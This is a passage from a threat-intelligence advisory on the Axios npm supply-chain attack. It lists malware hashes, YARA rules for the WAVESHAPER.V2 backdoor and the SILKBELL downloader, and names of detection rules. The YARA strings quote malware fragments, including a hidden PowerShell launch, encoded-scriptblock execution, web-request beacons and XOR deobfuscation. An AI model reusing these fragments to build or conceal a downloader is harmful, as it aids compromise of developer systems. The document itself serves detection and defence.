style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">Linux Python RAT</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf</code></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>WAVESHAPER.V2</p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">macOS Native Binary</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>WAVESHAPER.V2</p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">Windows Stage 1</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101</code></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>WAVESHAPER.V2</p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">N/A </span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c</code></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">SILKBELL</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">N/A </span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09</code></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">N/A </span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">system.bat</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd</code></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">N/A </span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">plain-crypto-js-4.2.1.tgz</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668</code></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></div> <div class="block-paragraph_advanced"><h4>YARA Rules</h4> <p><span style="vertical-align: baseline;">These rules may be most useful on developer workstations, CI/build systems, and other suspected impacted hosts for retrospective hunting and validation.</span></p></div> <div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_WAVESHAPER.V2_PS_1 { meta: description = "Detects the WAVESHAPER.V2 PowerShell backdoor which communicates with C2 via base64 encoded JSON beacons and supports PE injection and script execution" author = "GTIG" md5 = "04e3073b3cd5c5bfcde6f575ecf6e8c1" date_created = "2026/03/31" date_modified = "2026/03/31" rev = 1 platforms = "Windows" family = "WAVESHAPER.V2" strings: $ss1 = "packages.npm.org/product1" ascii wide nocase $ss2 = "Extension.SubRoutine" ascii wide nocase $ss3 = "rsp_peinject" ascii wide nocase $ss4 = "rsp_runscript" ascii wide nocase $ss5 = "rsp_rundir" ascii wide nocase $ss6 = "Init-Dir-Info" ascii wide nocase $ss7 = "Do-Action-Ijt" ascii wide nocase $ss8 = "Do-Action-Scpt" ascii wide nocase condition: uint16(0) != 0x5A4D and filesize < 100KB and 5 of ($ss*) }</code></pre></div> <div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_Downloader_suspected_UNC1069_PS_1 { meta: description = "Detects PowerShell dropper associated with suspected UNC1069 and Axios npm package supply chain attack. Associated to WAVESHAPER.V2" author = "GTIG" md5 = "089e2872016f75a5223b5e02c184dfec" date_created = "2026/03/31" date_modified = "2026/03/31" rev = 1 platforms = "Windows" strings: $ss1 = "start /min powershell -w h" ascii wide nocase $ss2 = "[scriptblock]::Create([System.Text.Encoding]::UTF8.GetString" ascii wide nocase $ss3 = "Invoke-WebRequest -UseBasicParsing" ascii wide nocase $ss4 = "-Method POST -Body" ascii wide nocase $ss5 = "packages.npm.org/product1" ascii wide nocase condition: uint16(0) != 0x5A4D and filesize < 5KB and all of them }</code></pre></div> <div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Hunting_Downloader_SILKBELL_1 { meta: description = "Detects the obfuscated version of the JS NPM supply chain downloader using Base64 obfuscation and custom XOR. Associated with WAVESHAPER.V2" author = "GTIG" md5 = "7658962ae060a222c0058cd4e979bfa1" date_created = "2026/03/31" date_modified = "2026/03/31" rev = 1 platforms = "Any" strings: $ss1 = "OrDeR_7077" ascii wide fullword $ss2 = "String.fromCharCode(S^a^333)" ascii wide $ss3 = "\"TE9DQUw^\".replaceAll(\"^\",\"=\")" ascii wide $ss4 = "\"UFM_\".replaceAll(\"_\",\"=\")" ascii wide $ss5 = "\"U0NSXw--\".replaceAll(\"-\",\"=\")" ascii wide $ss6 = "\"UFNfQg--\".replaceAll(\"-\",\"=\")" ascii wide $ss7 = "\"d2hlcmUgcG93ZXJzaGVsbA((\".replaceAll(\"(\",\"=\")" ascii wide condition: uint16(0) != 0x5A4D and filesize < 100KB and all of them }</code></pre></div> <div class="block-paragraph_advanced"><h3><span style="vertical-align: baseline;">Google Security Operations (SecOps)</span></h3> <p><span style="vertical-align: baseline;">Google Security Operations (SecOps) customers have access to the following broad category rules and more under the Mandiant Intel Emerging Threats rule pack.</span></p> <ul> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><span style="vertical-align: baseline;">Curl Writing Apple System File to Staging Directory</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><span style="vertical-align: baseline;">Node Spawning Nohup Osascript</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><span style="vertical-align: baseline;">Node Spawning Windows Script Host With Delete Command</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><span style="vertical-align: baseline;">Windows Script Host Spawning Shell With Curl</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><span style="vertical-align: baseline;">Windows Terminal In Suspicious Staging Directory</span></p> </li> </ul> <h3><span style="vertical-align: baseline;">Wiz</span></h3> <p><span style="vertical-align: baseline;">Wiz customers should check their Wiz Threat Center for information on this advisory and whether or not they are impacted. For more information refer to Wiz’s blog post, </span><a href="https://www.wiz.io/blog/axios-npm-compromised-in-supply-chain-attack" rel="noopener" target="_blank"><span style="text-decoration: underline; vertical-align: baseline;">Axios NPM Distribution Compromised in Supply Chain Attack</span></a>.</p></div>